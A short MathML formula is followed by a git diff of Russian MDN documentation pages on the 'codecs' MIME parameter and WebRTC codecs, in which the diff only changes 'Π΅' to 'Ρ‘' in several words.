<p><math><semantics><mrow><mo stretchy="false">(</mo><mi>a</mi><mo>+</mo><mi>b</mi><msup><mo stretchy="false">)</mo><mn>2</mn></msup><mo>=</mo><msup><mi>c</mi><mn>2</mn></msup><mo>+</mo><mn>4</mn><mo>β‹…</mo><mrow><mo>(</mo><mrow><mfrac><mn>1</mn><mn>2</mn></mfrac><mo>β‹…</mo><mi>a</mi><mi>b</mi></mrow><mo>)</mo></mrow></mrow><annotation encoding="TeX">(a + b)^2 = c^2 + 4 \cdot \left( \frac{1}{2} \cdot ab \right) </annotation></semantics></math></p>
diff --git a/files/ru/web/media/formats/codecs_parameter/index.html b/files/ru/web/media/formats/codecs_parameter/index.html
index 284e64c550..4609de3553 100644
--- a/files/ru/web/media/formats/codecs_parameter/index.html
+++ b/files/ru/web/media/formats/codecs_parameter/index.html
@@ -1,5 +1,5 @@
---
-title: ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "codecs" для распространСнных Ρ‚ΠΈΠΏΠΎΠ² носитСлСй
+title: ΠŸΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ "codecs" для распространённых Ρ‚ΠΈΠΏΠΎΠ² носитСлСй
slug: Web/Media/Formats/codecs_parameter
translation_of: Web/Media/Formats/codecs_parameter
---
@@ -15,7 +15,7 @@ translation_of: Web/Media/Formats/codecs_parameter
<h2 id="ΠžΠ±Ρ‰ΠΈΠΉ_синтаксис">ΠžΠ±Ρ‰ΠΈΠΉ синтаксис</h2>
-<p>Основной ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏ опрСдСляСтся установкой строкового значСния Β (<code>audio</code>, <code>video</code>, ΠΈ Ρ‚.Π΄.), послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΈΠ΄Π΅Ρ‚ символ слСша (<code>/</code>), Π·Π°Ρ‚Π΅ΠΌ указываСтся Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ:</p>
+<p>Основной ΠΌΠ΅Π΄ΠΈΠ°Ρ‚ΠΈΠΏ опрСдСляСтся установкой строкового значСния Β (<code>audio</code>, <code>video</code>, ΠΈ Ρ‚.Π΄.), послС ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΈΠ΄Ρ‘Ρ‚ символ слСша (<code>/</code>), Π·Π°Ρ‚Π΅ΠΌ указываСтся Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ:</p>
<dl>
<dt><code>audio/mpeg</code></dt>
@@ -41,7 +41,7 @@ translation_of: Web/Media/Formats/codecs_parameter
<dd>Π€Π°ΠΉΠ»Β <a href="/en-US/docs/Web/Media/Formats/Containers#MP4">MPEG-4</a>Β , содСрТащий  <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">AVC</a> (H.264) Π²ΠΈΠ΄Π΅ΠΎ, Основной ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ, Π£Ρ€ΠΎΠ²Π΅Π½ΡŒΒ 4.2.</dd>
</dl>
-<p>Как ΠΈ Π² случаС с  Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ MIME Ρ‚ΠΈΠΏΠ° , <code>codecs</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π°Β <code>codecs*</code> (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° символ Π·Π²Π΅Π·Π΄ΠΎΡ‡ΠΊΠΈ, <code>*</code>) , Ссли ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΠΈΠ· свойств ΠΊΠΎΠ΄Π΅ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ символы для указания Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (языковыС ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° Π±Π°ΠΉΡ‚ΠΎΠ² Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ значСния ΠΈ Ρ‚.Π΄.), входящиС Π²Β {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  Β {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для дСкодирования ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ списка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
+<p>Как ΠΈ Π² случаС с  Π»ΡŽΠ±Ρ‹ΠΌ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠΌ MIME Ρ‚ΠΈΠΏΠ° , <code>codecs</code>Β Π΄ΠΎΠ»ΠΆΠ΅Π½ Π·Π°ΠΌΠ΅Π½ΡΡ‚ΡŒΡΡ Π½Π°Β <code>codecs*</code> (ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° символ Π·Π²Ρ‘Π·Π΄ΠΎΡ‡ΠΊΠΈ, <code>*</code>) , Ссли ΠΊΠ°ΠΊΠΎΠ΅-Π»ΠΈΠ±ΠΎ ΠΈΠ· свойств ΠΊΠΎΠ΄Π΅ΠΊΠ° ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹Π΅ символы для указания Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ (языковыС ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΊΠΈ, ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²ΠΊΠ° Π±Π°ΠΉΡ‚ΠΎΠ² Π² ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ значСния ΠΈ Ρ‚.Π΄.), входящиС Π²Β {{RFC(2231, "MIME Parameter Value and Encoded Word Extensions", 4)}}. МоТно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈΒ JavaScript {{jsxref("Global_Objects/encodeURI", "encodeURI()")}} для кодирования списка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ², ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΒ  Β {{jsxref("Global_Objects/decodeURI", "decodeURI()")}} для дСкодирования ΠΏΡ€Π΅Π΄Π²Π°Ρ€ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ Π·Π°ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π½Π½ΠΎΠ³ΠΎ списка ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ΠΎΠ².</p>
<div class="blockIndicator note">
<p> Когда ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ <code>codecs</code>, ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ список ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² Π΄ΠΎΠ»ΠΆΠ΅Π½ Π²ΠΊΠ»ΡŽΡ‡Π°Ρ‚ΡŒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΊΠΎΠ΄Π΅ΠΊ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ для содСрТимого файла Бписок Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ ΠΊΠΎΠ΄Π΅ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π½Π΅Ρ‚ Π² Ρ„Π°ΠΉΠ»Π΅.</p>
diff --git a/files/ru/web/media/formats/webrtc_codecs/index.html b/files/ru/web/media/formats/webrtc_codecs/index.html
index b7c15b90d1..b8fab2ec49 100644
--- a/files/ru/web/media/formats/webrtc_codecs/index.html
+++ b/files/ru/web/media/formats/webrtc_codecs/index.html
@@ -14,7 +14,7 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<p>WebRTC ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ°Β {{domxref("MediaStreamTrack")}} для прСдставлСния ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ Ρ‚Ρ€Π΅ΠΊΠ°, ΠΏΠ΅Ρ€Π΅Π΄Π°ΡŽΡ‰Π΅Π³ΠΎΡΡΒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΡƒΠ·Π»Π°ΠΌΠΈ соСдинСния Π±Π΅Π· использования ΠΊΠΎΠ½Ρ‚Π΅ΠΉΠ½Π΅Ρ€Π° ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Ρ‚ΠΈΠΏΠ° {{domxref("MediaStream")}} , ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½ΡΡŽΡ‰Π΅Π³ΠΎΒ Ρ‚Ρ€Π΅ΠΊΠΈ. КакиС ΠΊΠΎΠ΄Π΅ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π² этих Ρ‚Ρ€Π΅ΠΊΠ°Ρ…, спСцификациСй  WebRTC Π½Π΅ опрСдСляСтся. Однако, {{RFC(7742)}} опрСдСляСт, Ρ‡Ρ‚ΠΎ всС Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‰ΠΈΠ΅ WebRTC, Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΒ <a href="/en-US/docs/Web/Media/Formats/Video_codecs#VP8">VP8</a>Β ΠΈΒ <a href="/en-US/docs/Web/Media/Formats/Video_codecs#AVC_(H.264)">H.264</a>Β ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½Ρ‹ΠΉ Π±Π°Π·ΠΎΠ²Ρ‹ΠΉ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ для Π²ΠΈΠ΄Π΅ΠΎ;Β ΠΈΒ {{RFC(7874)}} , ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‰Π°Ρ, Ρ‡Ρ‚ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ, ΠΏΠΎ мСньшСй ΠΌΠ΅Ρ€Π΅, ΠΊΠΎΠ΄Π΅ΠΊΠΈ <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#Opus">Opus</a>Β ΠΈΒ <a href="/en-US/docs/Web/Media/Formats/Audio_codecs#G.711">G.711</a>Β  Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ΠΎΠ² PCMA ΠΈΒ PCMU.</p>
-<p>Π­Ρ‚ΠΈ Π΄Π²Π΅ спСцификации ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для удобства использования, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, функция эхоподавлСния. Π’ этом руководствС происходит ΠΎΠ±Π·ΠΎΡ€ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ WebRTC, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΠ½Ρ‹Π΅ (Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅) ΠΊΠΎΠ΄Π΅ΠΊΠΈ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ всСми браузСрами,.</p>
+<p>Π­Ρ‚ΠΈ Π΄Π²Π΅ спСцификации ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠΌ, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ для удобства использования, ΠΊ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, функция эхоподавлСния. Π’ этом руководствС происходит ΠΎΠ±Π·ΠΎΡ€ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ², ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌ для Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈΒ WebRTC, Π° Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈΠ½Ρ‹Π΅ (Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Π΅) ΠΊΠΎΠ΄Π΅ΠΊΠΈ, ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌΠΈ ΠΈΠ»ΠΈ всСми браузСрами,.</p>
<p>Π₯ΠΎΡ‚ΡŒΒ ΡΠΆΠ°Ρ‚ΠΈΠ΅ всСгда ΠΈ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΠΏΡ€ΠΈ Ρ€Π°Π±ΠΎΡ‚Π΅ со срСдствами массовой ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ Π² Π˜Π½Ρ‚Π΅Ρ€Π½Π΅Ρ‚Π΅, ΠΎΠ½ΠΎ ΠΈΠΌΠ΅Π΅Ρ‚ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΡ€ΠΈ ΠΏΡ€ΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠΈ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΉ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ участники ΠΌΠΎΠ³Π»ΠΈ ΠΎΠ±Ρ‰Π°Ρ‚ΡŒΡΡ Π±Π΅Π· Π·Π°Π΄Π΅Ρ€ΠΆΠ΅ΠΊ ΠΈ ΠΏΠ΅Ρ€Π΅Ρ€Ρ‹Π²ΠΎΠ². ВторостСпСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎΡΡ‚ΡŒ синхронизации Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π·Π²ΡƒΠΊΠ°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ двиТСния ΠΈ любая Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Π°Ρ информация (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, слайды ΠΈΠ»ΠΈ проСкция) Π±Ρ‹Π»ΠΈ прСдставлСны ΠΎΠ΄Π½ΠΎΠ²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎ с ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌ Π·Π²ΡƒΠΊΠΎΠΌ</p>
@@ -24,7 +24,7 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<p>Если {{Glossary ("SDP")}} ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Π½Π΅ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΈΠ½ΠΎΠ΅, Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€, ΠΏΡ€ΠΈΠ½ΠΈΠΌΠ°ΡŽΡ‰ΠΈΠΉ Π²ΠΈΠ΄Π΅ΠΎΠΏΠΎΡ‚ΠΎΠΊ WebRTC, Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΈΠΌΠ΅Ρ‚ΡŒ Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ Π²ΠΈΠ΄Π΅ΠΎ со ΡΠΊΠΎΡ€ΠΎΡΡ‚ΡŒΡŽ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅ 20 ΠΊΠ°Π΄Ρ€ΠΎΠ² Π² сСкунду ΠΏΡ€ΠΈ минимальном Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΈ 320 пиксСлСй Π² ΡˆΠΈΡ€ΠΈΠ½Ρƒ ΠΈ 240 пиксСлСй Π² высоту. РСкомСндуСтся, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²ΠΈΠ΄Π΅ΠΎ ΠΊΠΎΠ΄ΠΈΡ€ΠΎΠ²Π°Π»ΠΎΡΡŒ с частотой ΠΊΠ°Π΄Ρ€ΠΎΠ² ΠΈ Ρ€Π°Π·ΠΌΠ΅Ρ€ΠΎΠΌ Π½Π΅ Π½ΠΈΠΆΠ΅ этого, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ это, ΠΏΠΎ сути, ниТняя Π³Ρ€Π°Π½ΠΈΡ†Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ WebRTC ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ ΠΎΠ±Ρ€Π°Π±Π°Ρ‚Ρ‹Π²Π°Ρ‚ΡŒ.</p>
-<p>SDP ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСзависимый ΠΎΡ‚ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² способ указания ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ Π²ΠΈΠ΄Π΅ΠΎ ({{RFC (6236)}}). Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Π΅ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ <code>a=imageattr</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β SDP для указания максимально допустимого Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ. Однако ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŽ Π½Π΅ трСбуСтся ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, поэтому Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ носитСли с Π΄Ρ€ΡƒΠ³ΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ρ‡Π΅ΠΌ Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π»ΠΈ. Помимо этого простого запроса максимального Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ способы запроса ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°.</p>
+<p>SDP ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅Ρ‚ нСзависимый ΠΎΡ‚ ΠΊΠΎΠ΄Π΅ΠΊΠΎΠ² способ указания ΠΏΡ€Π΅Π΄ΠΏΠΎΡ‡Ρ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠΉ Π²ΠΈΠ΄Π΅ΠΎ ({{RFC (6236)}}). Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ ΠΎΡ‚ΠΏΡ€Π°Π²ΠΊΠΈΒ <code>a=imageattr</code>Β Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°Β SDP для указания максимально допустимого Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ. Однако ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚Π΅Π»ΡŽ Π½Π΅ трСбуСтся ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Ρ‚ΡŒ этот ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ, поэтому Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π³ΠΎΡ‚ΠΎΠ²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ΡŒ носитСли с Π΄Ρ€ΡƒΠ³ΠΈΠΌ Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΠ΅ΠΌ, Ρ‡Π΅ΠΌ Π²Ρ‹ Π·Π°ΠΏΡ€Π°ΡˆΠΈΠ²Π°Π»ΠΈ. Помимо этого простого запроса максимального Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½ΠΈΡ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ ΠΊΠΎΠ΄Π΅ΠΊΠΈ ΠΌΠΎΠ³ΡƒΡ‚ ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹Π΅ способы запроса ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½Ρ‹Ρ… ΠΊΠΎΠ½Ρ„ΠΈΠ³ΡƒΡ€Π°Ρ†ΠΈΠΉ ΠΌΡƒΠ»ΡŒΡ‚ΠΈΠΌΠ΅Π΄ΠΈΠ°.</p>
<h2 id="ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅_Π²ΠΈΠ΄Π΅ΠΎ_ΠΊΠΎΠ΄Π΅ΠΊΠΈ">ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°Π΅ΠΌΡ‹Π΅ Π²ΠΈΠ΄Π΅ΠΎ ΠΊΠΎΠ΄Π΅ΠΊΠΈ</h2>
@@ -103,11 +103,11 @@ original_slug: Web/Media/Formats/WebRTC_ΠΊΠΎΠ΄Π΅ΠΊΠΈ
<p>ΠŸΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° профиля AVC Constrained Baseline (<code>CB</code>) трСбуСтся Π²ΠΎ всСх ΠΏΠΎΠ»Π½ΠΎΡΡ‚ΡŒΡŽ совмСстимых рСализациях WebRTC.Β <code>CB</code> являСтся подмноТСством основного профиля ΠΈ ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½ΠΎ Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Π°Π½ для ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΉ с Π½ΠΈΠ·ΠΊΠΎΠΉ ΡΠ»ΠΎΠΆΠ½ΠΎΡΡ‚ΡŒΡŽ ΠΈ ΠΌΠ°Π»ΠΎΠΉ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ мобильноС Π²ΠΈΠ΄Π΅ΠΎ ΠΈ Π²ΠΈΠ΄Π΅ΠΎΠΊΠΎΠ½Ρ„Π΅Ρ€Π΅Π½Ρ†ΠΈΠΈ, Π° Ρ‚Π°ΠΊΠΆΠ΅ для ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ с Π±ΠΎΠ»Π΅Π΅ Π½ΠΈΠ·ΠΊΠΈΠΌΠΈ возмоТностями 